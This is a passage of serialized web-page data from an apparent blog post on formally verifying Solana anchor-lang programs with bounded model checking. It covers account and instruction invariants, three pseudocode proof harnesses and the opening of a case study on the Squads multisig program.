",{"type":25,"tag":65,"props":22975,"children":22976},{},[22977],{"type":31,"value":21466},{"type":31,"value":22979}," on which we can run bounded model checking. Our tool does this ",{"type":25,"tag":65,"props":22981,"children":22982},{},[22983],{"type":31,"value":22984},"automagically",{"type":31,"value":22986}," for anchor-lang programs.",{"type":25,"tag":34,"props":22988,"children":22989},{},[22990,22992,22998,23000,23005,23007,23012,23013,23018,23020,23025,23027,23032,23033,23039,23041,23047,23048,23054],{"type":31,"value":22991},"Specifically, for a given ",{"type":25,"tag":115,"props":22993,"children":22995},{"className":22994},[],[22996],{"type":31,"value":22997},"Context\u003CT>",{"type":31,"value":22999}," with ",{"type":25,"tag":65,"props":23001,"children":23002},{},[23003],{"type":31,"value":23004},"incoming",{"type":31,"value":23006}," accounts of types (",{"type":25,"tag":115,"props":23008,"children":23010},{"className":23009},[],[23011],{"type":31,"value":22236},{"type":31,"value":6087},{"type":25,"tag":115,"props":23014,"children":23016},{"className":23015},[],[23017],{"type":31,"value":5228},{"type":31,"value":23019},") and ",{"type":25,"tag":65,"props":23021,"children":23022},{},[23023],{"type":31,"value":23024},"outgoing",{"type":31,"value":23026}," accounts of type (",{"type":25,"tag":115,"props":23028,"children":23030},{"className":23029},[],[23031],{"type":31,"value":5228},{"type":31,"value":6087},{"type":25,"tag":115,"props":23034,"children":23036},{"className":23035},[],[23037],{"type":31,"value":23038},"close",{"type":31,"value":23040},") we define a ",{"type":25,"tag":115,"props":23042,"children":23044},{"className":23043},[],[23045],{"type":31,"value":23046},"pre_condition",{"type":31,"value":12493},{"type":25,"tag":115,"props":23049,"children":23051},{"className":23050},[],[23052],{"type":31,"value":23053},"post_condition",{"type":31,"value":23055}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":25,"tag":34,"props":23057,"children":23058},{},[23059],{"type":25,"tag":115,"props":23060,"children":23062},{"className":23061},[5485,5486],[23063],{"type":25,"tag":201,"props":23064,"children":23066},{"className":23065},[5491],[23067],{"type":25,"tag":201,"props":23068,"children":23070},{"className":23069,"ariaHidden":5497},[5496],[23071,23107],{"type":25,"tag":201,"props":23072,"children":23074},{"className":23073},[5502],[23075,23080,23088,23093,23097,23103],{"type":25,"tag":201,"props":23076,"children":23079},{"className":23077,"style":23078},[5507],"height:0.6833em;",[],{"type":25,"tag":201,"props":23081,"children":23085},{"className":23082,"style":23084},[5513,23083],"mathnormal","margin-right:0.13889em;",[23086],{"type":31,"value":23087},"P",{"type":25,"tag":201,"props":23089,"children":23091},{"className":23090},[5513],[23092],{"type":31,"value":429},{"type":25,"tag":201,"props":23094,"children":23096},{"className":23095,"style":5691},[5593],[],{"type":25,"tag":201,"props":23098,"children":23100},{"className":23099},[5696],[23101],{"type":31,"value":23102},":=",{"type":25,"tag":201,"props":23104,"children":23106},{"className":23105,"style":5691},[5593],[],{"type":25,"tag":201,"props":23108,"children":23110},{"className":23109},[5502],[23111,23116,23256,23260],{"type":25,"tag":201,"props":23112,"children":23115},{"className":23113,"style":23114},[5507],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":25,"tag":201,"props":23117,"children":23120},{"className":23118},[23119],"mop",[23121,23130],{"type":25,"tag":201,"props":23122,"children":23127},{"className":23123,"style":23126},[23119,23124,23125],"op-symbol","small-op","position:relative;top:0em;",[23128],{"type":31,"value":23129},"⋀",{"type":25,"tag":201,"props":23131,"children":23133},{"className":23132},[5529],[23134],{"type":25,"tag":201,"props":23135,"children":23138},{"className":23136},[5534,23137],"vlist-t2",[23139,23244],{"type":25,"tag":201,"props":23140,"children":23142},{"className":23141},[5539],[23143,23237],{"type":25,"tag":201,"props":23144,"children":23147},{"className":23145,"style":23146},[5544],"height:0.2253em;",[23148],{"type":25,"tag":201,"props":23149,"children":23151},{"style":23150},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[23152,23156],{"type":25,"tag":201,"props":23153,"children":23155},{"className":23154,"style":5554},[5553],[],{"type":25,"tag":201,"props":23157,"children":23159},{"className":23158},[5559,5560,5561,5562],[23160],{"type":25,"tag":201,"props":23161,"children":23163},{"className":23162},[5513,5562],[23164,23169,23175,23185,23191,23200,23209,23215,23220,23226,23231],{"type":25,"tag":201,"props":23165,"children":23167},{"className":23166},[5513,23083,5562],[23168],{"type":31,"value":71},{"type":25,"tag":201,"props":23170,"children":23172},{"className":23171},[5513,23083,5562],[23173],{"type":31,"value":23174},"cc",{"type":25,"tag":201,"props":23176,"children":23178},{"className":23177},[5593,5562],[23179],{"type":25,"tag":201,"props":23180,"children":23182},{"className":23181},[5562],[23183],{"type":31,"value":23184}," ",{"type":25,"tag":201,"props":23186,"children":23188},{"className":23187},[5696,5562],[23189],{"type":31,"value":23190},"∈",{"type":25,"tag":201,"props":23192,"children":23194},{"className":23193},[5593,5562],[23195],{"type":25,"tag":201,"props":23196,"children":23198},{"className":23197},[5562],[23199],{"type":31,"value":23184},{"type":25,"tag":201,"props":23201,"children":23203},{"className":23202},[5513,31,5562],[23204],{"type":25,"tag":201,"props":23205,"children":23207},{"className":23206},[5513,5562],[23208],{"type":31,"value":23004},{"type":25,"tag":201,"props":23210,"children":23213},{"className":23211},[23212,5562],"mopen",[23214],{"type":31,"value":298},{"type":25,"tag":201,"props":23216,"children":23218},{"className":23217},[5513,23083,5562],[23219],{"type":31,"value":4652},{"type":25,"tag":201,"props":23221,"children":23223},{"className":23222},[5513,23083,5562],[23224],{"type":31,"value":23225},"t",{"type":25,"tag":201,"props":23227,"children":23229},{"className":23228},[5513,23083,5562],[23230],{"type":31,"value":1606},{"type":25,"tag":201,"props":23232,"children":23235},{"className":23233},[23234,5562],"mclose",[23236],{"type":31,"value":3073},{"type":25,"tag":201,"props":23238,"children":23241},{"className":23239},[23240],"vlist-s",[23242],{"type":31,"value":23243},"​",{"type":25,"tag":201,"props":23245,"children":23247},{"className":23246},[5539],[23248],{"type":25,"tag":201,"props":23249,"children":23252},{"className":23250,"style":23251},[5544],"height:0.4747em;",[23253],{"type":25,"tag":201,"props":23254,"children":23255},{},[],{"type":25,"tag":201,"props":23257,"children":23259},{"className":23258,"style":5632},[5593],[],{"type":25,"tag":201,"props":23261,"children":23263},{"className":23262},[5513],[23264,23274,23279,23284,23289],{"type":25,"tag":201,"props":23265,"children":23267},{"className":23266},[5513,31],[23268],{"type":25,"tag":201,"props":23269,"children":23271},{"className":23270},[5513],[23272],{"type":31,"value":23273},"invariant",{"type":25,"tag":201,"props":23275,"children":23277},{"className":23276},[23212],[23278],{"type":31,"value":298},{"type":25,"tag":201,"props":23280,"children":23282},{"className":23281},[5513,23083],[23283],{"type":31,"value":71},{"type":25,"tag":201,"props":23285,"children":23287},{"className":23286},[5513,23083],[23288],{"type":31,"value":23174},{"type":25,"tag":201,"props":23290,"children":23292},{"className":23291},[23234],[23293],{"type":31,"value":3073},{"type":25,"tag":34,"props":23295,"children":23296},{},[23297],{"type":25,"tag":115,"props":23298,"children":23300},{"className":23299},[5485,5486],[23301],{"type":25,"tag":201,"props":23302,"children":23304},{"className":23303},[5491],[23305],{"type":25,"tag":201,"props":23306,"children":23308},{"className":23307,"ariaHidden":5497},[5496],[23309,23340],{"type":25,"tag":201,"props":23310,"children":23312},{"className":23311},[5502],[23313,23317,23322,23327,23331,23336],{"type":25,"tag":201,"props":23314,"children":23316},{"className":23315,"style":23078},[5507],[],{"type":25,"tag":201,"props":23318,"children":23320},{"className":23319,"style":23084},[5513,23083],[23321],{"type":31,"value":23087},{"type":25,"tag":201,"props":23323,"children":23325},{"className":23324},[5513],[23326],{"type":31,"value":5516},{"type":25,"tag":201,"props":23328,"children":23330},{"className":23329,"style":5691},[5593],[],{"type":25,"tag":201,"props":23332,"children":23334},{"className":23333},[5696],[23335],{"type":31,"value":23102},{"type":25,"tag":201,"props":23337,"children":23339},{"className":23338,"style":5691},[5593],[],{"type":25,"tag":201,"props":23341,"children":23343},{"className":23342},[5502],[23344,23348,23471,23475],{"type":25,"tag":201,"props":23345,"children":23347},{"className":23346,"style":23114},[5507],[],{"type":25,"tag":201,"props":23349,"children":23351},{"className":23350},[23119],[23352,23357],{"type":25,"tag":201,"props":23353,"children":23355},{"className":23354,"style":23126},[23119,23124,23125],[23356],{"type":31,"value":23129},{"type":25,"tag":201,"props":23358,"children":23360},{"className":23359},[5529],[23361],{"type":25,"tag":201,"props":23362,"children":23364},{"className":23363},[5534,23137],[23365,23460],{"type":25,"tag":201,"props":23366,"children":23368},{"className":23367},[5539],[23369,23455],{"type":25,"tag":201,"props":23370,"children":23372},{"className":23371,"style":23146},[5544],[23373],{"type":25,"tag":201,"props":23374,"children":23375},{"style":23150},[23376,23380],{"type":25,"tag":201,"props":23377,"children":23379},{"className":23378,"style":5554},[5553],[],{"type":25,"tag":201,"props":23381,"children":23383},{"className":23382},[5559,5560,5561,5562],[23384],{"type":25,"tag":201,"props":23385,"children":23387},{"className":23386},[5513,5562],[23388,23393,23398,23407,23412,23421,23430,23435,23440,23445,23450],{"type":25,"tag":201,"props":23389,"children":23391},{"className":23390},[5513,23083,5562],[23392],{"type":31,"value":71},{"type":25,"tag":201,"props":23394,"children":23396},{"className":23395},[5513,23083,5562],[23397],{"type":31,"value":23174},{"type":25,"tag":201,"props":23399,"children":23401},{"className":23400},[5593,5562],[23402],{"type":25,"tag":201,"props":23403,"children":23405},{"className":23404},[5562],[23406],{"type":31,"value":23184},{"type":25,"tag":201,"props":23408,"children":23410},{"className":23409},[5696,5562],[23411],{"type":31,"value":23190},{"type":25,"tag":201,"props":23413,"children":23415},{"className":23414},[5593,5562],[23416],{"type":25,"tag":201,"props":23417,"children":23419},{"className":23418},[5562],[23420],{"type":31,"value":23184},{"type":25,"tag":201,"props":23422,"children":23424},{"className":23423},[5513,31,5562],[23425],{"type":25,"tag":201,"props":23426,"children":23428},{"className":23427},[5513,5562],[23429],{"type":31,"value":23024},{"type":25,"tag":201,"props":23431,"children":23433},{"className":23432},[23212,5562],[23434],{"type":31,"value":298},{"type":25,"tag":201,"props":23436,"children":23438},{"className":23437},[5513,23083,5562],[23439],{"type":31,"value":4652},{"type":25,"tag":201,"props":23441,"children":23443},{"className":23442},[5513,23083,5562],[23444],{"type":31,"value":23225},{"type":25,"tag":201,"props":23446,"children":23448},{"className":23447},[5513,23083,5562],[23449],{"type":31,"value":1606},{"type":25,"tag":201,"props":23451,"children":23453},{"className":23452},[23234,5562],[23454],{"type":31,"value":3073},{"type":25,"tag":201,"props":23456,"children":23458},{"className":23457},[23240],[23459],{"type":31,"value":23243},{"type":25,"tag":201,"props":23461,"children":23463},{"className":23462},[5539],[23464],{"type":25,"tag":201,"props":23465,"children":23467},{"className":23466,"style":23251},[5544],[23468],{"type":25,"tag":201,"props":23469,"children":23470},{},[],{"type":25,"tag":201,"props":23472,"children":23474},{"className":23473,"style":5632},[5593],[],{"type":25,"tag":201,"props":23476,"children":23478},{"className":23477},[5513],[23479,23488,23493,23498,23503],{"type":25,"tag":201,"props":23480,"children":23482},{"className":23481},[5513,31],[23483],{"type":25,"tag":201,"props":23484,"children":23486},{"className":23485},[5513],[23487],{"type":31,"value":23273},{"type":25,"tag":201,"props":23489,"children":23491},{"className":23490},[23212],[23492],{"type":31,"value":298},{"type":25,"tag":201,"props":23494,"children":23496},{"className":23495},[5513,23083],[23497],{"type":31,"value":71},{"type":25,"tag":201,"props":23499,"children":23501},{"className":23500},[5513,23083],[23502],{"type":31,"value":23174},{"type":25,"tag":201,"props":23504,"children":23506},{"className":23505},[23234],[23507],{"type":31,"value":3073},{"type":25,"tag":34,"props":23509,"children":23510},{},[23511],{"type":31,"value":23512},"Our instruction invariants are represented as:",{"type":25,"tag":18183,"props":23514,"children":23515},{},[23516,23552],{"type":25,"tag":6948,"props":23517,"children":23518},{},[23519,23546,23547],{"type":25,"tag":115,"props":23520,"children":23522},{"className":23521},[5485,5486],[23523],{"type":25,"tag":201,"props":23524,"children":23526},{"className":23525},[5491],[23527],{"type":25,"tag":201,"props":23528,"children":23530},{"className":23529,"ariaHidden":5497},[5496],[23531],{"type":25,"tag":201,"props":23532,"children":23534},{"className":23533},[5502],[23535,23539],{"type":25,"tag":201,"props":23536,"children":23538},{"className":23537,"style":23078},[5507],[],{"type":25,"tag":201,"props":23540,"children":23543},{"className":23541,"style":23542},[5513,23083],"margin-right:0.05764em;",[23544],{"type":31,"value":23545},"S",{"type":31,"value":2957},{"type":25,"tag":115,"props":23548,"children":23550},{"className":23549},[],[23551],{"type":31,"value":21651},{"type":25,"tag":6948,"props":23553,"children":23554},{},[23555,23581,23582],{"type":25,"tag":115,"props":23556,"children":23558},{"className":23557},[5485,5486],[23559],{"type":25,"tag":201,"props":23560,"children":23562},{"className":23561},[5491],[23563],{"type":25,"tag":201,"props":23564,"children":23566},{"className":23565,"ariaHidden":5497},[5496],[23567],{"type":25,"tag":201,"props":23568,"children":23570},{"className":23569},[5502],[23571,23575],{"type":25,"tag":201,"props":23572,"children":23574},{"className":23573,"style":23078},[5507],[],{"type":25,"tag":201,"props":23576,"children":23578},{"className":23577,"style":23542},[5513,23083],[23579],{"type":31,"value":23580},"E",{"type":31,"value":2957},{"type":25,"tag":115,"props":23583,"children":23585},{"className":23584},[],[23586],{"type":31,"value":21658},{"type":25,"tag":34,"props":23588,"children":23589},{},[23590,23592,23619,23621,23626,23628,23634],{"type":31,"value":23591},"And ",{"type":25,"tag":115,"props":23593,"children":23595},{"className":23594},[5485,5486],[23596],{"type":25,"tag":201,"props":23597,"children":23599},{"className":23598},[5491],[23600],{"type":25,"tag":201,"props":23601,"children":23603},{"className":23602,"ariaHidden":5497},[5496],[23604],{"type":25,"tag":201,"props":23605,"children":23607},{"className":23606},[5502],[23608,23612],{"type":25,"tag":201,"props":23609,"children":23611},{"className":23610,"style":23078},[5507],[],{"type":25,"tag":201,"props":23613,"children":23616},{"className":23614,"style":23615},[5513,23083],"margin-right:0.07153em;",[23617],{"type":31,"value":23618},"K",{"type":31,"value":23620}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":25,"tag":115,"props":23622,"children":23624},{"className":23623},[],[23625],{"type":31,"value":21986},{"type":31,"value":23627}," not an ",{"type":25,"tag":115,"props":23629,"children":23631},{"className":23630},[],[23632],{"type":31,"value":23633},"Err",{"type":31,"value":3953},{"type":25,"tag":34,"props":23636,"children":23637},{},[23638],{"type":31,"value":23639},"In order to verify these conditions we need to verify three cases:",{"type":25,"tag":40,"props":23641,"children":23643},{"id":23642},"account-invariants-1",[23644],{"type":31,"value":23645},"Account invariants",{"type":25,"tag":34,"props":23647,"children":23648},{},[23649,23651,23682,23684,23714,23716,23746],{"type":31,"value":23650},"After we execute an instruction, either the function should error and be reverted (",{"type":25,"tag":115,"props":23652,"children":23654},{"className":23653},[5485,5486],[23655],{"type":25,"tag":201,"props":23656,"children":23658},{"className":23657},[5491],[23659],{"type":25,"tag":201,"props":23660,"children":23662},{"className":23661,"ariaHidden":5497},[5496],[23663],{"type":25,"tag":201,"props":23664,"children":23666},{"className":23665},[5502],[23667,23671,23677],{"type":25,"tag":201,"props":23668,"children":23670},{"className":23669,"style":23078},[5507],[],{"type":25,"tag":201,"props":23672,"children":23674},{"className":23673},[5513],[23675],{"type":31,"value":23676},"¬",{"type":25,"tag":201,"props":23678,"children":23680},{"className":23679,"style":23615},[5513,23083],[23681],{"type":31,"value":23618},{"type":31,"value":23683},") or the account post-invariants should hold (",{"type":25,"tag":115,"props":23685,"children":23687},{"className":23686},[5485,5486],[23688],{"type":25,"tag":201,"props":23689,"children":23691},{"className":23690},[5491],[23692],{"type":25,"tag":201,"props":23693,"children":23695},{"className":23694,"ariaHidden":5497},[5496],[23696],{"type":25,"tag":201,"props":23697,"children":23699},{"className":23698},[5502],[23700,23704,23709],{"type":25,"tag":201,"props":23701,"children":23703},{"className":23702,"style":23078},[5507],[],{"type":25,"tag":201,"props":23705,"children":23707},{"className":23706,"style":23084},[5513,23083],[23708],{"type":31,"value":23087},{"type":25,"tag":201,"props":23710,"children":23712},{"className":23711},[5513],[23713],{"type":31,"value":5516},{"type":31,"value":23715},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":25,"tag":115,"props":23717,"children":23719},{"className":23718},[5485,5486],[23720],{"type":25,"tag":201,"props":23721,"children":23723},{"className":23722},[5491],[23724],{"type":25,"tag":201,"props":23725,"children":23727},{"className":23726,"ariaHidden":5497},[5496],[23728],{"type":25,"tag":201,"props":23729,"children":23731},{"className":23730},[5502],[23732,23736,23741],{"type":25,"tag":201,"props":23733,"children":23735},{"className":23734,"style":23078},[5507],[],{"type":25,"tag":201,"props":23737,"children":23739},{"className":23738,"style":23084},[5513,23083],[23740],{"type":31,"value":23087},{"type":25,"tag":201,"props":23742,"children":23744},{"className":23743},[5513],[23745],{"type":31,"value":429},{"type":31,"value":23747},") should hold since we will verify all of the functions eventually.",{"type":25,"tag":34,"props":23749,"children":23750},{},[23751,23753],{"type":31,"value":23752},"So we are trying to prove that ",{"type":25,"tag":115,"props":23754,"children":23756},{"className":23755},[5485,5486],[23757],{"type":25,"tag":201,"props":23758,"children":23760},{"className":23759},[5491],[23761],{"type":25,"tag":201,"props":23762,"children":23764},{"className":23763,"ariaHidden":5497},[5496],[23765,23802,23834],{"type":25,"tag":201,"props":23766,"children":23768},{"className":23767},[5502],[23769,23773,23778,23783,23788,23792,23798],{"type":25,"tag":201,"props":23770,"children":23772},{"className":23771,"style":5614},[5507],[],{"type":25,"tag":201,"props":23774,"children":23776},{"className":23775},[23212],[23777],{"type":31,"value":298},{"type":25,"tag":201,"props":23779,"children":23781},{"className":23780,"style":23084},[5513,23083],[23782],{"type":31,"value":23087},{"type":25,"tag":201,"props":23784,"children":23786},{"className":23785},[5513],[23787],{"type":31,"value":429},{"type":25,"tag":201,"props":23789,"children":23791},{"className":23790,"style":5594},[5593],[],{"type":25,"tag":201,"props":23793,"children":23795},{"className":23794},[5599],[23796],{"type":31,"value":23797},"∧",{"type":25,"tag":201,"props":23799,"children":23801},{"className":23800,"style":5594},[5593],[],{"type":25,"tag":201,"props":23803,"children":23805},{"className":23804},[5502],[23806,23810,23815,23820,23824,23830],{"type":25,"tag":201,"props":23807,"children":23809},{"className":23808,"style":5614},[5507],[],{"type":25,"tag":201,"props":23811,"children":23813},{"className":23812,"style":23615},[5513,23083],[23814],{"type":31,"value":23618},{"type":25,"tag":201,"props":23816,"children":23818},{"className":23817},[23234],[23819],{"type":31,"value":3073},{"type":25,"tag":201,"props":23821,"children":23823},{"className":23822,"style":5691},[5593],[],{"type":25,"tag":201,"props":23825,"children":23827},{"className":23826},[5696],[23828],{"type":31,"value":23829},"→",{"type":25,"tag":201,"props":23831,"children":23833},{"className":23832,"style":5691},[5593],[],{"type":25,"tag":201,"props":23835,"children":23837},{"className":23836},[5502],[23838,23842,23847],{"type":25,"tag":201,"props":23839,"children":23841},{"className":23840,"style":23078},[5507],[],{"type":25,"tag":201,"props":23843,"children":23845},{"className":23844,"style":23084},[5513,23083],[23846],{"type":31,"value":23087},{"type":25,"tag":201,"props":23848,"children":23850},{"className":23849},[5513],[23851],{"type":31,"value":5516},{"type":25,"tag":34,"props":23853,"children":23854},{},[23855],{"type":31,"value":23856},"We can construct a proof harness like the following:",{"type":25,"tag":191,"props":23858,"children":23860},{"code":23859,"language":20959,"meta":7,"className":20960,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[23861],{"type":25,"tag":115,"props":23862,"children":23863},{"__ignoreMap":7},[23864,23872,23889],{"type":25,"tag":201,"props":23865,"children":23866},{"class":203,"line":204},[23867],{"type":25,"tag":201,"props":23868,"children":23869},{"style":220},[23870],{"type":31,"value":23871},"assume(P0)\n",{"type":25,"tag":201,"props":23873,"children":23874},{"class":203,"line":226},[23875,23880,23884],{"type":25,"tag":201,"props":23876,"children":23877},{"style":220},[23878],{"type":31,"value":23879},"res ",{"type":25,"tag":201,"props":23881,"children":23882},{"style":261},[23883],{"type":31,"value":1383},{"type":25,"tag":201,"props":23885,"children":23886},{"style":220},[23887],{"type":31,"value":23888}," instruction_handler(...)\n",{"type":25,"tag":201,"props":23890,"children":23891},{"class":203,"line":278},[23892,23896,23900,23905,23910,23915],{"type":25,"tag":201,"props":23893,"children":23894},{"style":230},[23895],{"type":31,"value":21481},{"type":25,"tag":201,"props":23897,"children":23898},{"style":220},[23899],{"type":31,"value":298},{"type":25,"tag":201,"props":23901,"children":23903},{"style":23902},"--shiki-default:#F44747",[23904],{"type":31,"value":4114},{"type":25,"tag":201,"props":23906,"children":23907},{"style":220},[23908],{"type":31,"value":23909},"K ",{"type":25,"tag":201,"props":23911,"children":23912},{"style":23902},[23913],{"type":31,"value":23914},"||",{"type":25,"tag":201,"props":23916,"children":23917},{"style":220},[23918],{"type":31,"value":23919}," P1)\n",{"type":25,"tag":34,"props":23921,"children":23922},{},[23923],{"type":31,"value":23924},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":25,"tag":40,"props":23926,"children":23928},{"id":23927},"positive-instruction-invariant",[23929],{"type":31,"value":23930},"Positive instruction invariant",{"type":25,"tag":34,"props":23932,"children":23933},{},[23934,23936,23942,23944,23995],{"type":31,"value":23935},"Next we need to prove that ",{"type":25,"tag":115,"props":23937,"children":23939},{"className":23938},[],[23940],{"type":31,"value":23941},"success_if",{"type":31,"value":23943}," is a sufficient condition for instruction success. I.e. ",{"type":25,"tag":115,"props":23945,"children":23947},{"className":23946},[5485,5486],[23948],{"type":25,"tag":201,"props":23949,"children":23951},{"className":23950},[5491],[23952],{"type":25,"tag":201,"props":23953,"children":23955},{"className":23954,"ariaHidden":5497},[5496],[23956,23982],{"type":25,"tag":201,"props":23957,"children":23959},{"className":23958},[5502],[23960,23964,23969,23973,23978],{"type":25,"tag":201,"props":23961,"children":23963},{"className":23962,"style":23078},[5507],[],{"type":25,"tag":201,"props":23965,"children":23967},{"className":23966,"style":23542},[5513,23083],[23968],{"type":31,"value":23545},{"type":25,"tag":201,"props":23970,"children":23972},{"className":23971,"style":5691},[5593],[],{"type":25,"tag":201,"props":23974,"children":23976},{"className":23975},[5696],[23977],{"type":31,"value":23829},{"type":25,"tag":201,"props":23979,"children":23981},{"className":23980,"style":5691},[5593],[],{"type":25,"tag":201,"props":23983,"children":23985},{"className":23984},[5502],[23986,23990],{"type":25,"tag":201,"props":23987,"children":23989},{"className":23988,"style":23078},[5507],[],{"type":25,"tag":201,"props":23991,"children":23993},{"className":23992,"style":23615},[5513,23083],[23994],{"type":31,"value":23618},{"type":31,"value":80},{"type":25,"tag":34,"props":23997,"children":23998},{},[23999],{"type":31,"value":24000},"Just like before we can construct a proof harness:",{"type":25,"tag":191,"props":24002,"children":24004},{"code":24003,"language":20959,"meta":7,"className":20960,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[24005],{"type":25,"tag":115,"props":24006,"children":24007},{"__ignoreMap":7},[24008,24016,24031],{"type":25,"tag":201,"props":24009,"children":24010},{"class":203,"line":204},[24011],{"type":25,"tag":201,"props":24012,"children":24013},{"style":220},[24014],{"type":31,"value":24015},"assume(S)\n",{"type":25,"tag":201,"props":24017,"children":24018},{"class":203,"line":226},[24019,24023,24027],{"type":25,"tag":201,"props":24020,"children":24021},{"style":220},[24022],{"type":31,"value":23879},{"type":25,"tag":201,"props":24024,"children":24025},{"style":261},[24026],{"type":31,"value":1383},{"type":25,"tag":201,"props":24028,"children":24029},{"style":220},[24030],{"type":31,"value":23888},{"type":25,"tag":201,"props":24032,"children":24033},{"class":203,"line":278},[24034,24038],{"type":25,"tag":201,"props":24035,"children":24036},{"style":230},[24037],{"type":31,"value":21481},{"type":25,"tag":201,"props":24039,"children":24040},{"style":220},[24041],{"type":31,"value":24042},"(K)\n",{"type":25,"tag":34,"props":24044,"children":24045},{},[24046,24048,24053,24055,24067],{"type":31,"value":24047},"This proof assures that whenever ",{"type":25,"tag":115,"props":24049,"children":24051},{"className":24050},[],[24052],{"type":31,"value":21651},{"type":31,"value":24054}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":25,"tag":65,"props":24056,"children":24057},{},[24058,24060,24065],{"type":31,"value":24059},"even if ",{"type":25,"tag":115,"props":24061,"children":24063},{"className":24062},[],[24064],{"type":31,"value":21651},{"type":31,"value":24066}," is not satisfied",{"type":31,"value":24068},". To specify explicit error conditions we need our third and final proof.",{"type":25,"tag":40,"props":24070,"children":24072},{"id":24071},"_3-negative-instruction-invariant",[24073],{"type":31,"value":24074},"3. Negative instruction invariant",{"type":25,"tag":34,"props":24076,"children":24077},{},[24078,24080,24085,24087,24143],{"type":31,"value":24079},"Finally, we want to prove that ",{"type":25,"tag":115,"props":24081,"children":24083},{"className":24082},[],[24084],{"type":31,"value":21658},{"type":31,"value":24086}," is a sufficient condition for instruction failure. I.e. ",{"type":25,"tag":115,"props":24088,"children":24090},{"className":24089},[5485,5486],[24091],{"type":25,"tag":201,"props":24092,"children":24094},{"className":24093},[5491],[24095],{"type":25,"tag":201,"props":24096,"children":24098},{"className":24097,"ariaHidden":5497},[5496],[24099,24125],{"type":25,"tag":201,"props":24100,"children":24102},{"className":24101},[5502],[24103,24107,24112,24116,24121],{"type":25,"tag":201,"props":24104,"children":24106},{"className":24105,"style":23078},[5507],[],{"type":25,"tag":201,"props":24108,"children":24110},{"className":24109,"style":23542},[5513,23083],[24111],{"type":31,"value":23580},{"type":25,"tag":201,"props":24113,"children":24115},{"className":24114,"style":5691},[5593],[],{"type":25,"tag":201,"props":24117,"children":24119},{"className":24118},[5696],[24120],{"type":31,"value":23829},{"type":25,"tag":201,"props":24122,"children":24124},{"className":24123,"style":5691},[5593],[],{"type":25,"tag":201,"props":24126,"children":24128},{"className":24127},[5502],[24129,24133,24138],{"type":25,"tag":201,"props":24130,"children":24132},{"className":24131,"style":23078},[5507],[],{"type":25,"tag":201,"props":24134,"children":24136},{"className":24135},[5513],[24137],{"type":31,"value":23676},{"type":25,"tag":201,"props":24139,"children":24141},{"className":24140,"style":23615},[5513,23083],[24142],{"type":31,"value":23618},{"type":31,"value":80},{"type":25,"tag":34,"props":24145,"children":24146},{},[24147],{"type":31,"value":24148},"This harness looks just like the previous one:",{"type":25,"tag":191,"props":24150,"children":24152},{"code":24151,"language":20959,"meta":7,"className":20960,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[24153],{"type":25,"tag":115,"props":24154,"children":24155},{"__ignoreMap":7},[24156,24164,24179],{"type":25,"tag":201,"props":24157,"children":24158},{"class":203,"line":204},[24159],{"type":25,"tag":201,"props":24160,"children":24161},{"style":220},[24162],{"type":31,"value":24163},"assume(E)\n",{"type":25,"tag":201,"props":24165,"children":24166},{"class":203,"line":226},[24167,24171,24175],{"type":25,"tag":201,"props":24168,"children":24169},{"style":220},[24170],{"type":31,"value":23879},{"type":25,"tag":201,"props":24172,"children":24173},{"style":261},[24174],{"type":31,"value":1383},{"type":25,"tag":201,"props":24176,"children":24177},{"style":220},[24178],{"type":31,"value":23888},{"type":25,"tag":201,"props":24180,"children":24181},{"class":203,"line":278},[24182,24186,24190,24194],{"type":25,"tag":201,"props":24183,"children":24184},{"style":230},[24185],{"type":31,"value":21481},{"type":25,"tag":201,"props":24187,"children":24188},{"style":220},[24189],{"type":31,"value":298},{"type":25,"tag":201,"props":24191,"children":24192},{"style":23902},[24193],{"type":31,"value":4114},{"type":25,"tag":201,"props":24195,"children":24196},{"style":220},[24197],{"type":31,"value":24198},"K)\n",{"type":25,"tag":34,"props":24200,"children":24201},{},[24202,24204,24208],{"type":31,"value":24203},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":25,"tag":65,"props":24205,"children":24206},{},[24207],{"type":31,"value":17867},{"type":31,"value":24209}," the account invariants we expect are always being preserved.",{"type":25,"tag":26,"props":24211,"children":24213},{"id":24212},"case-study-squads-multisig",[24214],{"type":31,"value":24215},"Case study: Squads Multisig",{"type":25,"tag":34,"props":24217,"children":24218},{},[24219,24221,24226],{"type":31,"value":24220},"During our research, we focused on formally verifying aspects of the ",{"type":25,"tag":71,"props":24222,"children":24224},{"href":20323,"rel":24223},[75],[24225],{"type":31,"value":20327},{"type":31,"value":80},{"type":25,"tag":34,"props":24228,"children":24229},{},[24230,24232,24238,24240,24246],{"type":31,"value":24231},"The program defines a Multisig account (",{"type":25,"tag":115,"props":24233,"children":24235},{"className":24234},[],[24236],{"type":31,"value":24237},"Ms",{"type":31,"value":24239},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":25,"tag":115,"props":24241,"children":24243},{"className":24242},[],[24244],{"type":31,"value":24245},"threshold",{"type":31,"value":24247}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":25,"tag":34,"props":24249,"children":24250},{},[24251],{"type":31,"value":24252},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":25,"tag":34,"props":24254,"children":24255},{},[24256],{"type":31,"value":24257},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":25,"tag":6944,"props":24259,"children":24260},{},[24261,24266,24271,24276],{"type":25,"tag":6948,"props":24262,"children":24263},{},[24264],{"type":31,"value":24265},"Incrementally verifying minimum requirements to create a multisig",{"type":25,"tag":6948,"props":24267,"children":24268},{},[24269],{"type":31,"value":24270},"Verify threshold requirements",{"type":25,"tag":6948,"props":24272,"children":24273},{},[24274],{"type":31,"value":24275},"Verify requirements to remove a member",{"type":25,"tag":6948,"props":24277,"children":24278},{},[24279],{"type":31,"value":24280},"Safety 